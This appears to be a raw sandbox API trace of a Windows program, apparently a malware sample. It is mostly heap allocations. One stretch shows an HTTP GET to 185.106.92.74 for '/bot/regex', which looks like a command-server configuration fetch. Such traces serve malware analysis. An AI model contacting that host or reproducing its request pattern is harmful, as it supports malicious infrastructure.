[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5ce120
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cc890
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cc8b0
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5cdce0
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5ca590
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cc8d0
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cca30
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce288
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5cabe0
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cdc00
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5cdf90
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cdc38
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce2b0
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cc950
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5cfd60
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0848
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0a08
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5ce2d8
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0ac8
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0aa8
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x5c2bf8
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5cfc40
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0788
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0808
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce328
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5d0e00
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cdc70
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce148
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0a48
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5cfee0
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d07a8
[0127.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d09e8
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5ce0f8
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0728
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0748
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5cdd18
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5cfbb0
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0768
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0928
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce170
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5d0c68
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cd998
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce300
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d07c8
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5cfd90
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0908
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0948
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5ce350
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0828
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d07e8
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5cdd50
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5cfdf0
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0888
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0a88
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce378
[0127.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5d0d28
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cd730
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce1c0
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0868
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5cfe50
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d09a8
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d08a8
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5cdec8
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0a28
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0968
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5cd7a0
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5cfe20
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0988
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d08c8
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5cdf18
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5d0b30
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cd7d8
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce210
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d08e8
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5cfcd0
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d09c8
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0a68
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5cdf40
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0588
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d04e8
[0127.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5cd810
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5cfdc0
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d06c8
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0648
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce198
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5d0b60
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cd848
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5cdf68
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cd880
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5cdfb8
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d05a8
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5cff10
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d06a8
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d05c8
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5cdfe0
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d03c8
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0508
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5cd8b8
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5cfe80
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0688
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d06e8
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce008
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5d0bc0
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cd8f0
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce030
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0568
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5cfeb0
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0668
[0127.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d05e8
[0127.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5ce058
[0127.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d04a8
[0127.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0348
[0127.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5c04e8
[0127.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5cfc10
[0127.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0608
[0127.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0628
[0127.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce238
[0127.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5d0ce0
[0127.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cddc0
[0127.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce260
[0127.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0708
[0127.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5cff40
[0127.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0548
[0127.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0328
[0127.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5ce080
[0127.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0468
[0127.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0488
[0127.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5cde30
[0127.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5cfb80
[0127.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0528
[0127.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d0428
[0127.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce0a8
[0127.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5d0d58
[0127.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cddf8
[0127.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce0d0
[0127.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d0368
[0127.555] Sleep (dwMilliseconds=0x32)
[0127.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa6c46e27, dwHighDateTime=0x1d96e12))
[0127.638] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0127.640] GetCurrentProcess () returned 0xffffffff
[0127.641] GetCurrentProcess () returned 0xffffffff
[0127.642] GetCurrentProcess () returned 0xffffffff
[0127.643] GetCurrentProcess () returned 0xffffffff
[0127.644] GetCurrentProcess () returned 0xffffffff
[0127.647] GetCurrentProcess () returned 0xffffffff
[0127.648] GetCurrentProcess () returned 0xffffffff
[0127.649] GetCurrentProcess () returned 0xffffffff
[0127.650] GetCurrentProcess () returned 0xffffffff
[0127.652] GetCurrentProcess () returned 0xffffffff
[0127.653] GetCurrentProcess () returned 0xffffffff
[0127.656] GetCurrentProcess () returned 0xffffffff
[0127.657] GetCurrentProcess () returned 0xffffffff
[0127.658] GetCurrentProcess () returned 0xffffffff
[0127.658] GetCurrentProcess () returned 0xffffffff
[0127.667] GetCurrentProcess () returned 0xffffffff
[0127.667] GetCurrentProcess () returned 0xffffffff
[0127.669] GetCurrentProcess () returned 0xffffffff
[0127.669] GetCurrentProcess () returned 0xffffffff
[0127.671] GetCurrentProcess () returned 0xffffffff
[0127.673] GetCurrentProcess () returned 0xffffffff
[0127.674] GetCurrentProcess () returned 0xffffffff
[0127.675] GetCurrentProcess () returned 0xffffffff
[0127.676] GetCurrentProcess () returned 0xffffffff
[0127.677] GetCurrentProcess () returned 0xffffffff
[0127.680] GetCurrentProcess () returned 0xffffffff
[0127.681] GetCurrentProcess () returned 0xffffffff
[0127.682] GetCurrentProcess () returned 0xffffffff
[0127.683] GetCurrentProcess () returned 0xffffffff
[0127.683] GetCurrentProcess () returned 0xffffffff
[0127.685] GetCurrentProcess () returned 0xffffffff
[0127.686] GetCurrentProcess () returned 0xffffffff
[0127.701] GetCurrentProcess () returned 0xffffffff
[0127.701] GetCurrentProcess () returned 0xffffffff
[0127.702] GetCurrentProcess () returned 0xffffffff
[0127.703] GetCurrentProcess () returned 0xffffffff
[0127.704] GetCurrentProcess () returned 0xffffffff
[0127.706] GetCurrentProcess () returned 0xffffffff
[0127.707] GetCurrentProcess () returned 0xffffffff
[0127.715] GetCurrentProcess () returned 0xffffffff
[0127.716] GetCurrentProcess () returned 0xffffffff
[0127.717] GetCurrentProcess () returned 0xffffffff
[0127.718] GetCurrentProcess () returned 0xffffffff
[0127.720] GetCurrentProcess () returned 0xffffffff
[0127.721] GetCurrentProcess () returned 0xffffffff
[0127.722] GetCurrentProcess () returned 0xffffffff
[0127.723] GetCurrentProcess () returned 0xffffffff
[0127.724] GetCurrentProcess () returned 0xffffffff
[0127.725] GetCurrentProcess () returned 0xffffffff
[0127.729] GetCurrentProcess () returned 0xffffffff
[0127.730] GetCurrentProcess () returned 0xffffffff
[0127.731] GetCurrentProcess () returned 0xffffffff
[0127.732] GetCurrentProcess () returned 0xffffffff
[0127.733] GetCurrentProcess () returned 0xffffffff
[0127.737] InternetConnectA (hInternet=0xcc0004, lpszServerName="185.106.92.74", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
[0127.738] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/bot/regex", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x80000000, dwContext=0x0) returned 0xcc000c
[0127.739] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1
[0128.607] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18da94, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18da2c | out: lpBuffer=0x18da94*, lpdwNumberOfBytesRead=0x18da2c*=0x279) returned 1
[0128.608] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18da94, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18da2c | out: lpBuffer=0x18da94*, lpdwNumberOfBytesRead=0x18da2c*=0x0) returned 1
[0128.611] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0128.611] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0128.611] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0128.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x280) returned 0x5fa208
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5f14c8
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d23e8
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d2428
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d25e8
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d2588
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5d1a68
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e1b10
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5e73b8
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5d18d8
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d27c8
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f14f8
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d2768
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5d1978
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d2788
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c58
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d2a08
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5d1a90
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d2908
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5d16f8
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e1b40
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5e7508
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5d1478
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d2a48
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f1288
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d29c8
[0128.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5d1720
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d2a88
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5d1748
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d2948
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fba50
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e1b58
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5e7348
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb898
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d28a8
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f12e8
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5d2aa8
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb8c0
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5d2848
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb9d8
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de418
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb938
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e1b70
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5e73f0
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fba78
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de538
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f1318
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5de3b8
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb7d0
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de3d8
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb870
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de2f8
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb7f8
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e1588
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5e7540
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb910
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de438
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f11c8
[0128.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5de3f8
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fba28
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de5f8
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb960
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de378
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb988
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e1798
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5e76c8
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb820
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de4d8
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f11f8
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5de278
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb848
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de318
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb8e8
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de558
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb9b0
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e1510
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5e77a8
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fba00
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de458
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f0f28
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5de298
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb438
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de258
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb488
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de478
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb5c8
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e16c0
